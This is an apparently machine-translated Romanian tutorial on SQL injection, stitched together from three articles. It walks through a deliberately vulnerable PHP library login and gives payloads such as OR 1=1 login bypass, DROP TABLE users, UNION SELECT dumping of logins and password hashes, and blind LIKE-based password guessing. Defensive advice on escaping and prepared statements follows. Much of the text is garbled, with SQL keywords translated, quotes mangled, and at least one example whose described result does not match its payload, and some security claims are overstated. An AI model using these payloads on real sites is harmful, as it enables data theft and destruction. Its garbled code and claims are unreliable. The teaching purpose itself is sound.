Toți programatorii au citit sau cel puțin au auzit despre metode de piratare a securității site-urilor. Sau chiar am întâmpinat această problemă. Pe de altă parte, imaginația celor care vor să spargă site-ul este nesfârșită, așa că toate blocajele trebuie bine protejate. De aceea, aș dori să încep o serie de articole scurte care să prezinte metode și tehnici de bază de hacking de site-uri web.

În primul articol, aș dori să descriu și să explic câteva metode comune de piratare a uneia dintre cele mai vulnerabile părți ale site-ului - formulare. Voi intra în detaliu despre cum să utilizați aceste tehnici și despre cum să preveniți atacurile, precum și despre testarea de securitate.

injecție SQL

Injecția SQL este o tehnică prin care un atacator introduce comenzi SQL într-un câmp de intrare pe o pagină web. Acest input poate fi orice - un câmp text într-o formă, parametri _GET și _POST, cookie-uri etc. Această metodă era foarte eficientă înainte de apariția cadrelor în lumea PHP. Dar acest hack poate fi în continuare periculos dacă nu utilizați un ORM sau orice alte extensii la obiectul de date. De ce? Datorită modului în care parametrii sunt transferați la interogarea SQL.

Injecții „oarbe”.

Să începem cu un exemplu clasic de instrucțiune SQL care returnează utilizatorul după login și parola hash (pagina de conectare)

Exemplul 1

mysql_query("SELECT id, login FROM users WHERE login = ? și parola = hash(?)");

Am pus semne de întrebare în expresie din cauza diferitelor variante ale acestei soluții. Prima opțiune, după părerea mea, este cea mai vulnerabilă:

Exemplul 1a

Mysql_query("SELECT id, login FROM users WHERE login = "" . $login . "" și parola = hash("" . $parola . "")");

În acest caz, codul nu verifică introducerea datelor nevalide. Valorile sunt transmise direct din formularul de intrare la interogarea SQL. În cel mai bun caz, utilizatorul își va introduce numele de utilizator și parola aici. Care este cel mai rău scenariu? Să încercăm să spargem acest formular. Acest lucru se poate face prin transmiterea datelor „pregătite”. Să încercăm să ne autentificăm ca primul utilizator din baza de date și, în majoritatea cazurilor, acesta este contul de administrator. Pentru a face acest lucru, vom trece un șir special în loc să introducem datele de conectare:

" SAU 1=1; --

Primul citat poate fi, de asemenea, un singur citat, așa că o încercare de hacking poate să nu fie suficientă. La sfârșit există un punct și virgulă și două cratime pentru ca tot ce urmează să se transforme într-un comentariu. Ca rezultat, următoarea interogare SQL va fi executată:

SELECT ID, autentificare FROM utilizatori WHERE login = “;” SAU 1=1 LIMITĂ 0,1; - și parola = hash(„;O parolă”)

Acesta va returna primul utilizator din baza de date și, eventual, se va autentifica în aplicație ca utilizator. O mișcare bună ar fi să adăugați LIMIT pentru a vă conecta ca fiecare utilizator individual. Acesta este singurul lucru necesar pentru a trece prin fiecare valoare.

Cai mai serioase

În exemplul precedent, totul nu este atât de înfricoșător. Opțiunile din panoul de control admin sunt întotdeauna limitate și ar fi nevoie de multă muncă pentru a sparge efectiv site-ul. Dar un atac prin injectare SQL poate duce la o deteriorare mult mai mare a sistemului. Gândiți-vă câte aplicații sunt create cu tabelul principal „utilizatori” și ce s-ar întâmpla dacă un atacator ar introduce cod astfel într-o formă neprotejată:

Autentificarea mea preferată"; utilizatori DROP TABLE; --

Tabelul „utilizatori” va fi șters. Acesta este unul dintre motivele pentru a face copii de siguranță ale bazei de date mai des.

_GET parametrii

Toți parametrii completați prin formular sunt transmiși către server folosind una dintre cele două metode - GET sau POST. Cel mai comun parametru transmis prin GET este id. Acesta este unul dintre cele mai vulnerabile locuri pentru atacuri și nu contează ce tip de adresă URL utilizați - ` http://example.com/ utilizatori/?id=1` sau ` http://example.com/ utilizatori/1` sau ` http://......./.../ post/35 `.

Ce se întâmplă dacă introducem următorul cod în URL?

Http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; --

Probabil, o astfel de solicitare va returna login-ul utilizatorului și... un hash al parolei sale. Prima parte a cererii `ȘI 1=0` transformă ceea ce o precede în fals, deci nu vor fi primite înregistrări. Și a doua parte a cererii va returna date sub formă de date pregătite. Și, deoarece primul parametru este id, următorul va fi login-ul utilizatorului și hash-ul parolei sale și alți parametri. Există multe programe care folosesc forța brută pentru a decoda o parolă ca cea din exemplu. Și deoarece utilizatorul poate folosi aceeași parolă pentru diferite servicii, este posibil să obțină acces la acestea.

Și iată ce este curios: este complet imposibil să te aperi împotriva acestui tip de atac folosind metode precum `mysql_real_escape_string`, `addslashes`, etc. d. Practic, nu există nicio modalitate de a evita un astfel de atac, așa că dacă parametrii sunt trecuți astfel:

"SELECT ID, autentificare, e-mail, param1 FROM utilizatorii WHERE id = " . addslashes($_GET["id"]);"

problemele nu vor trece.

Escape caractere dintr-un șir

Când eram nou în programare, îmi era greu să lucrez cu codificări. Nu am înțeles care este diferența dintre ele, de ce să folosiți UTF-8 când aveți nevoie de UTF-16, de ce baza de date setează întotdeauna codificarea la latin1. Când am început în sfârșit să înțeleg toate acestea, am descoperit că ar fi mai puține probleme dacă aș păstra totul într-un singur standard de codare. În timp ce sortam toate acestea, am observat și probleme de securitate care apar la conversia de la o codificare la alta.

Problemele descrise în majoritatea exemplelor anterioare pot fi evitate folosind ghilimele simple în interogări. Dacă utilizați addslashes() , atacurile de injecție SQL care se bazează pe ghilimele simple scăpate cu o bară oblică inversă vor eșua. Dar un astfel de atac poate funcționa dacă pur și simplu înlocuiți un caracter cu codul 0xbf27 , addslashes() îl convertește într-un caracter cu codul 0xbf5c27 - și acesta este un caracter complet valid pentru ghilimele simple. Cu alte cuvinte, `뼧` va trece prin addslashes() și apoi maparea MySQL o va converti în două caractere 0xbf (¿) și 0x27 (').

"SELECT * FROM utilizatorii WHERE login = ""; . addslashes($_GET["login"]) . ";"";

Acest exemplu poate fi spart prin trecerea 뼧 sau 1=1; -- în câmpul de conectare din formular. Motorul SQL va genera interogarea finală astfel:

SELECT * FROM utilizatori WHERE login = "¿" SAU 1=1; --

Și va returna primul utilizator din baza de date.

Protecţie

Cum se protejează aplicația? Există o mulțime de metode, a căror utilizare nu va face aplicația complet invulnerabilă, dar măcar îi va crește securitatea.

Folosind mysql_real_escape_string

Funcția addslashes() nu este de încredere, deoarece nu permite multe cazuri de hacking. mysql_real_escape_string nu are astfel de probleme

Folosind MySQLi

Această extensie MySQL poate funcționa cu parametri înrudiți:

$stmt = $db->prepare("update uets set parameter = ? unde id = ?"); $stmt->bind_param("si", $nume, $id); $stmt->execute();

Folosind PDO

Drum lung pentru a înlocui parametrii:

$dbh = PDO nou ("mysql:dbname=testdb;host=127.0.0.1", $user, $parola); $stmt = $dbh->prepare("INSERT INTO REGISTRY (nume, valoare) VALORI (:nume, :valoare)"); $stmt->bindParam(":nume", $nume); $stmt->bindParam(":valoare", $valoare); // introduceți un rând $nume = "unul"; $valoare = 1; $stmt->execute();

Drum scurt:

$dbh = PDO nou ("mysql:dbname=testdb;host=127.0.0.1", $user, $parola); $stmt = $dbh->prepare("UPDATE people SET name = :new_name WHERE id = :id"); $stmt->execute(array("new_name" => $nume, "id" => $id));

Folosind ORM

Utilizați ORM și PDO și legați (utilizați parametrii bind). Evitați SQL în codul dvs., dacă vedeți SQL în codul dvs., atunci este ceva în neregulă cu el.

ORM se va ocupa de securitatea blocajelor din validarea codului și parametrilor.

concluzii

Scopul acestei serii nu este de a oferi un ghid complet pentru hacking site-uri web, ci de a asigura securitatea aplicațiilor și de a preveni atacurile din orice sursă. Am încercat să scriu acest articol nu numai pentru programatori - ar trebui să fie conștienți de orice amenințări din cod și să știe cum să le prevină, ci și pentru inginerii de calitate - pentru că sarcina lor este să urmărească și să raporteze astfel de probleme .

Esența injecțiilor SQL

Probabil ați auzit deja gluma de pe internet: „ De ce este același în toate lecțiile de desen: De exemplu, o lecție despre desenarea unei bufnițe. Mai întâi, desenăm ochiul bufniței în detaliu timp de o jumătate de oră. Și apoi - o dată - în cinci minute - desenăm restul bufniței».

Există chiar și o poză despre asta:

Există o mulțime de materiale despre injecțiile SQL: articole, cărți, cursuri video (plătite și gratuite). Cu toate acestea, nu mulți dintre ei adaugă înțelegere cu privire la această problemă. Mai ales dacă ești începător. Îmi amintesc bine sentimentele mele: aici este cercul, aici este restul bufniței...

Scopul acestei note este de a trage ochiul asupra bufniței pentru a oferi o explicație normală, simplă, ce sunt injecțiile SQL, care este esența lor, cât de periculoase sunt și de ce.

Pentru experimente, vom avea un script foarte simplu care este vulnerabil la injectarea SQL:

Pentru a accesa biblioteca regională Bobruisk, introduceți acreditările dvs.:

Introdu numele tau

Introduceți parola


interogare ("SET NAMES UTF8"); $mysqli->query("SETARE SET DE CARACTERE UTF8"); $mysqli->query("SET character_set_client = UTF8"); $mysqli->query("SET character_set_connection = UTF8"); $mysqli->query("SET character_set_results = UTF8"); ) $name = filter_input(INPUT_GET, „nume”); $parolă = filter_input(INPUT_GET, „parolă”); if ($rezultat = $mysqli->query("SELECT * FROM `members` WHERE nume = "$nume" ȘI parola = $parolă")) ( în timp ce ($obj = $rezultat->fetch_object()) ( echo "

Numele dumneavoastră:$obj->nume

Statusul tau:$obj->status

Cărți disponibile pentru tine:$obj->carti


"; ) ) else ( printf("Eroare: %sn", $mysqli->eroare); ) $mysqli->close(); ?>

Vei înțelege mult mai multe dacă faci totul cu mine. Deci aici este. Conține două fișiere: index.phpȘi db_library.sql. Plasați fișierul index.php oriunde pe server - acesta este scriptul nostru vulnerabil. Și fișierul db_library.sql trebuie importat, de exemplu, folosind phpMyAdmin.

În fișierul index.php, numele de utilizator al bazei de date este setat la root și parola este goală. Puteți introduce datele dvs. editând rândul:

$mysqli = mysqli nou ("localhost", "root", "", "db_library");

Potrivit legendei, acesta este un formular de conectare la versiunea online a bibliotecii regionale Bobruisk. Ni s-au dat deja acreditări: nume de utilizator - Demo, parola - 111.

Să le introducem și să vedem:

Acreditările noastre au fost acceptate, numele, statutul și cărțile disponibile sunt afișate pe ecrane. Puteți încerca, cu orice alte date (dacă vă schimbați numele sau parola), nu ne vom putea autentifica și vizualiza cărțile disponibile pentru lectură. De asemenea, nu avem de unde să știm ce cărți sunt disponibile pentru alții, deoarece nu le cunoaștem numele de utilizator și parola.

Să ne uităm la codul sursă pentru a înțelege cum a avut loc solicitarea bazei de date:
Cuvânt SELECTAȚIîntr-o interogare SQL arată ce date trebuie preluate. De exemplu, puteți specifica SELECT numele sau SELECT numele, parola. Apoi, în primul caz, numai numele ar fi obținut din tabel, iar în al doilea - doar numele și parola. Asteriscul spune că trebuie să obțineți toate valorile. Acestea. SELECT * - aceasta înseamnă să obțineți toate valorile.

DIN spune de unde trebuie să le iei. FROM este urmat de numele tabelului, adică intrarea FROM „membri” spune „get din tabelul „membri”.

Mai departe UNDE, dacă ați studiat orice limbaj de programare, atunci acest cuvânt seamănă cel mai mult cu „Dacă”. Și apoi există condiții, aceste condiții pot fi adevărate (1) sau false (0). În cazul nostru

(nume = ‘$nume’) ȘI (parolă =’$parolă’)

înseamnă că condiția va fi adevărată dacă variabila transmisă $nume este egală cu valoarea câmpului de nume din tabel și variabila transmisă „$parolă este egală cu valoarea câmpului de parolă din tabel. Dacă cel puțin o condiție nu este îndeplinită (nume de utilizator sau parolă incorectă), atunci nimic nu va fi luat din tabel, adică expresia SELECT * FROM `members` WHERE nume = '$nume' ȘI parolă ='$parolă' înseamnă: în tabelul „membri”, luați valorile tuturor câmpurilor dacă condiția este îndeplinită pentru aceștia - numele de utilizator și parola transmise se potrivesc cu cele găsite în tabel.

Este clar. Să introducem acum, de exemplu, un singur ghilimeleu cu numele de utilizator:

Bara de adresa:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password=111

Nu au fost primite date, în schimb vedem o eroare:
Când am introdus datele corecte, solicitarea noastră a arătat astfel:
Prin adăugarea unei cotații, interogarea noastră devine:
Am pus spații suplimentare pentru claritate, adică primim cererea
Apropo, cererea este corectă în sintaxă. Și imediat după aceasta, fără niciun separator, cererea continuă:

„ȘI parola="111”

Acesta este ceea ce sparge totul, deoarece numărul de cotații de deschidere și de închidere nu este egal. Puteți, de exemplu, să introduceți un alt citat:
Bara de adresa:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

Eroarea a dispărut, dar acest lucru nu a adăugat niciun sens cererii. Coada lipsită de sens a cererii ne deranjează. Cum putem scăpa de ea?

Există un răspuns - acestea sunt comentarii.

Comentariile în MySQL pot fi specificate în trei moduri:

  1. # (hash - funcționează până la sfârșitul liniei)
  2. - (două liniuțe - lucrați până la sfârșitul rândului, aveți nevoie de un caracter spațiu după două liniuțe)
  3. /* acesta este un comentariu */ un grup de patru caractere - totul din interior este un comentariu, tot ce este înainte sau după acest grup de caractere nu este considerat un comentariu.
Să punem un comentariu în interogarea noastră cu un singur citat, după acest citat punem un semn de comentariu pentru a elimina coada și un semn +, care denotă un spațiu, astfel încât interogarea să iasă astfel:
Bara de adresa:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’-+&password=111

Nu numai că eroarea a dispărut, dar și datele corecte au fost afișate pentru utilizatorul Demo. De acum cererea noastră a luat forma
la urma urmei, coada de cal -+ ‘ȘI parola =’111’ transformat într-un comentariu și nu mai afectează cererea.

Aruncă o altă privire la noua solicitare:
Și nu mai verifică parola! Acestea. Cunoscând numele utilizatorilor legitimi, dar neștiind parolele acestora, putem vizualiza datele lor personale. Acestea. Am început deja exploatarea injecției SQL.

Din păcate, nu cunosc nume legitime și trebuie să vin cu altceva.

Să aruncăm o privire mai atentă la această parte a cererii:
Vă amintiți AND care este folosit în prima interogare? Aceasta înseamnă funcționare logică și. Permiteți-mi să vă reamintesc că operația logică „ȘI” produce „adevărat” (1) numai dacă ambele expresii sunt adevărate. Dar operatorul logic „SAU” produce „adevărat” (1) chiar dacă cel puțin una dintre expresii este adevărată. Acestea. expresie
va fi întotdeauna adevărat va returna întotdeauna 1. Deoarece una dintre cele două expresii comparate va returna întotdeauna 1.

Acestea. trebuie să creăm o expresie care să arate astfel:
Bara de adresa:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’ SAU 1 -+ &parola=111

Rezultat:

Rezultatul este excelent! Am primit o listă cu toate înregistrările din tabel.

ORDER BY și UNION sunt principalii prieteni ai injecțiilor SQL

Am primit deja date care erau inaccesibile celor care nu aveau un nume de utilizator și o parolă valide. Mai pot obține ceva? Da, puteți obține un dump complet al acestui tabel (dați-mi să vă reamintesc, încă nu avem parole. În plus, putem obține toate datele din toate bazele de date de pe acest server printr-o gaură mică!

UNIUNE vă permite să combinați interogări SQL. În viața reală, sarcinile mele sunt simple și, prin urmare, interogări simple către baze de date și capabilități UNIUNE Eu nu-l folosesc. Dar pentru injecțiile SQL nu există un cuvânt mai valoros decât acesta.

UNIUNE vă permite să combinați în mod destul de flexibil interogările SQL cu SELECT, inclusiv din diferite baze de date. Dar există o cerință de sintaxă importantă: numărul de coloane din primul SELECT trebuie să fie egal cu numărul de coloane din al doilea SELECT.

COMANDA PENTRU stabilește sortarea datelor primite din tabel. Puteți sorta după numele coloanei sau după numărul acesteia. În plus, dacă nu există nicio coloană cu acest număr, atunci va fi afișată o eroare:

Bara de adresa:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 1 -+ &parola=111

Cererea arată astfel:
Am înlocuit numele de utilizator cu -1, astfel încât să nu fie afișate date.

Nu există nicio eroare, nu există nici o eroare cu solicitările
Și iată cererea
corespunde barei de adrese

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 6 -+ &parola=111

Am primit o eroare

Aceasta înseamnă că datele sunt selectate din tabel în cinci coloane.

Construim interogarea noastră cu UNION:

După cum am spus, numărul de câmpuri ar trebui să fie același în ambele SELECT-uri, dar ceea ce este în aceste câmpuri nu este foarte important. Puteți, de exemplu, să introduceți pur și simplu numere - și acestea sunt cele care vor fi afișate. Puteți introduce NULL - atunci nimic nu va fi afișat în locul câmpului.
Bara de adresa:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 -+ &parola=111

O altă modalitate de a găsi numărul de coloane este folosirea aceluiași UNION. Folosind o scară adăugăm numărul de coloane:
Toate vor produce aceeași eroare:

Faceți acest lucru până când mesajul de eroare dispare.

Vă rugăm să rețineți că conținutul unor câmpuri UNION SELECT 1,2,3,4,5 este afișat pe ecran. În loc de numere, puteți specifica funcții.

Ce să scrieți în SELECT

Există câteva funcții care pot fi scrise direct în UNION:

  • BAZĂ DE DATE()- arată numele bazei de date curente
  • UTILIZATOR CURENT()- afișează numele de utilizator și numele de gazdă
  • @@datadir- afișează calea absolută către baza de date
  • UTILIZATOR()- Nume de utilizator
  • VERSIUNE()- versiunea bazei de date
În exemplul nostru, sunt afișate câmpurile 2, 4 și 5. I.e. putem folosi oricare dintre aceste câmpuri.

Folosind DATABASE() în UNION SELECT

Abordare:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() -+ &parola=111

Rezultat:

Obținerea numelor de tabel, câmpuri și dump baze de date

În baza de date schema_informatiei există o masă numită Mese. Acest tabel conține o listă a tuturor tabelelor care sunt prezente în toate bazele de date de pe acest server. Putem selecta tabelele noastre căutând în câmp schema_tabelului Numele bazei noastre de date este „db_library” (am găsit numele folosind DATABASE()).

Aceasta se numește tehnica completă UNION. Există o mulțime de materiale despre el pe Internet. Pe serverul meu MySQL, tehnica UNION completă nu funcționează. Primesc o eroare
Nu funcționează din cauza curburii brațelor, deoarece nici această tehnică nu aduce rezultate pentru sqlmap:

Ceva a mers prost cu tehnica UNION completă (ar putea fi din cauza limitării numărului de intrări preluate). Revenirea la tehnica UNION parțială

Acest lucru se poate datora versiunii MySQL 5.6. Deoarece Nu pot da exemple practice și nu mă interesează să rescriu comenzile întrerupte ale altora - acum, chiar și fără mine, există atât de mulți „mari teoreticieni” pe Internet câte îți place, așa că am decis să trec imediat la avand in vedere tehnica UNION partiala. Dar aceasta nu este cea mai simplă tehnică, iar articolul este deja destul de lung.

În următoarea parte a articolului vom studia tehnica UNION parțială, cu ajutorul ei vom obține toate datele de pe server: numele bazelor de date, numele tabelelor și câmpurilor acestora din aceste tabele, precum și conținutul acestora . În timp ce așteptați să apară a doua parte, exersați, citiți despre injecțiile SQL și tehnica UNION; următoarele articole sunt, de asemenea, recomandate pentru a citi:

P.S. oh da, am uitat de LIMIT. Data viitoare voi vorbi și despre rolul LIMIT în injecțiile SQL.

Injecțiile SQL - încorporarea de cod rău intenționat în interogările bazei de date - sunt cel mai periculos tip de atac. Folosind injecții SQL, un atacator poate nu numai să obțină informații private din baza de date, ci și, în anumite condiții, să facă modificări acolo.

Vulnerabilitatea de injectare SQL apare deoarece informațiile utilizatorului sunt incluse într-o interogare a bazei de date fără o procesare adecvată: pentru a vă asigura că scriptul nu este vulnerabil, este necesar să vă asigurați că toate datele utilizatorului ajung în toate interogările bazei de date într-o formă de evadare. Cerința universalității este piatra de temelie: o încălcare comisă într-un singur script face întregul sistem vulnerabil.

Exemplu de vulnerabilitate

Să presupunem că există un script care afișează o listă de utilizatori dintr-un oraș dat, luând ID-ul orașului ca parametru GET. Scriptul va fi accesat prin HTTP la /users.php?cityid=20

În scriptul de mai sus, dezvoltatorul inserează un parametru GET în interogarea SQL, ceea ce implică faptul că parametrul GET va conține întotdeauna un număr. Un atacator ar putea trece un șir ca parametru și, prin urmare, poate corupe cererea. De exemplu, va accesa scriptul ca /users.php?cityid=20; ȘTERGE * DE LA utilizatori
Interogarea SQL va arăta astfel:

Solicitarea va fi executată, iar scriptul va returna nu numai utilizatorii din orașul specificat, ci și o listă cu toți utilizatorii a căror parolă va fi afișată în locul numelui lor real.

Cum să te protejezi?

Să anexăm informațiile despre utilizator între ghilimele simple. Va ajuta acest lucru?

Din exemplul de mai sus, puteți vedea că includerea ghilimelelor simple nu este suficientă. De asemenea, trebuie să evitați orice ghilimele conținute în șir. Pentru a face acest lucru, PHP furnizează funcția mysql_real_escape_string(), care adaugă o bară oblică inversă înainte de fiecare ghilimă, ghilimele și alte caractere speciale. Să ne uităm la cod:

Deci, pentru a vă proteja împotriva injecțiilor SQL, toți parametrii externi care pot conține text trebuie procesați folosind mysql_real_escape_string() și sunt cuprinse între ghilimele simple.

Dacă știți că un parametru ar trebui să ia o valoare numerică, acesta poate fi convertit în formă numerică în mod explicit folosind funcția intval() sau floatval(). În acest exemplu am putea folosi:

$sql = „SELECT nume de utilizator, nume real
DE LA utilizatori
WHERE cityid=""
.intval ( $_GET [„cityid”] ) .""" ;

Diferențele dintre mysql_real_escape_string() și mysql_escape_string()

mysql_real_escape_string() este o versiune îmbunătățită a funcției mysql_escape_string(), care este utilizată pe scară largă pentru a genera interogări securizate către baza de date MySQL. Diferența dintre aceste două funcții este că mysql_real_escape_string() funcționează corect cu codificări pe mai mulți octeți.

Să presupunem că există un caracter în datele care sunt procesate (să zicem, în UTF-8), al cărui cod este format din doi octeți - hexazecimal 27 și 2B (zecimal 39 și, respectiv, 43). mysql_escape_string() tratează fiecare octet de date transmis ca un caracter separat (mai precis, ca codul unui caracter separat) și decide că secvența octeților 27 și 2B sunt două caractere diferite: un singur ghilimele ("") și un plus (+). Deoarece funcția acceptă un ghilimeleu ca caracter special, o bară oblică (\) va fi adăugată înaintea octetului cu codul 27, care face de fapt parte dintr-un caracter inofensiv. Ca urmare, datele vor fi trimise către baza de date într-o formă distorsionată.

Este demn de remarcat faptul că mysql_real_escape_string() funcționează corect în toate cazurile și poate înlocui complet mysql_escape_string().

mysql_real_escape_string() este disponibil în PHP începând cu versiunea 4.3.0.

Exemple suplimentare

Ne-am uitat la cel mai simplu exemplu, dar, în practică, o interogare vulnerabilă poate fi mai complexă și să nu-și afișeze rezultatele utilizatorului. În continuare, vom lua în considerare exemple de injecții SQL în unele cazuri mai complexe, fără a pretinde complet.

Injectare în interogări complexe

În cel mai simplu exemplu, a fost posibilă încorporarea codului la sfârșitul interogării SQL. În practică, la sfârșitul unei interogări SQL pot exista condiții suplimentare, operatori de sortare, grupări și alte constructe SQL. În fiecare caz specific, atacatorul va încerca să încorporeze o piesă rău intenționată în așa fel încât cererea în ansamblu să rămână corectă din punct de vedere sintactic, dar să îndeplinească o funcție diferită. Aici ne vom uita la cel mai simplu exemplu de solicitare vulnerabilă cu o condiție suplimentară.

Ca urmare, condiția de vârstă<35 nu va afecta proba, deoarece Operatorul SAU are o prioritate mai mică decât operatorul AND, iar WHERE din interogarea de mai sus poate fi scris diferit ca WHERE (cityid="20" AND 1 ) SAU ("1" AND age<"35" ) (rețineți că expresia WHERE 1 este întotdeauna adevărată). Ca rezultat, atât acele linii cu cityid="20" cât și cele cu vârsta se vor potrivi condiției<35, причем наличие последних не обязательно.

Pentru interogări complexe, injecțiile SQL de succes necesită o oarecare creativitate, dar se poate aștepta ca atacatorii să aibă ceva.

Rezultatele interogării nu sunt afișate utilizatorului

Este posibil ca o interogare ale cărei rezultate nu sunt afișate utilizatorului să fie vulnerabilă. Aceasta ar putea fi, de exemplu, o interogare auxiliară:

$sql = „SELECT count(*)
DE LA utilizatori
WHERE userid=""
.$_GET [ "userid" ] .""" ;

Interogarea de mai sus verifică doar prezența unui utilizator cu un ID de utilizator dat: dacă returnează orice valoare diferită de zero, este afișat profilul de utilizator cu ID-ul de utilizator corespunzător, dar dacă este returnat 0 (adică nu există utilizatori care să satisfacă criterii de solicitare), este afișat mesajul „utilizator nu a fost găsit”.

În acest caz, parola (sau alte informații) este determinată de forța brută. Atacatorul trece șirul ca parametru userid 2" ȘI parola LIKE "a%. Cerere finală:

SELECT count (*) FROM users WHERE userid=„2” ȘI parola LIKE „a%”

Atacatorul va primi „user not found” dacă parola nu începe cu litera „a”, sau pagina standard de profil de utilizator, în caz contrar. Prima literă a parolei este determinată de forța brută, apoi a doua, etc.

concluzii

  • Toate interogările care utilizează date externe trebuie să fie protejate de injecțiile SQL. Datele externe pot fi transmise nu doar ca parametri GET, ci și prin metoda POST, preluată de pe un COOKIE, de pe site-uri terțe, sau dintr-o bază de date în care utilizatorul a avut posibilitatea de a introduce informații.
  • Toți parametrii numerici ar trebui convertiți în mod explicit în formă numerică folosind funcții intval()Și floatval()
  • Toți parametrii șirului de caractere ar trebui să fie excluși cu mysql_real_escape_string()și puneți-l între ghilimele.
  • Dacă construirea unei injecții SQL este dificilă, nu trebuie să vă așteptați ca atacatorul să nu-și dea seama cum să o facă. Acest lucru se aplică în special motoarelor al căror cod sursă este public.

Succes în construirea aplicațiilor securizate!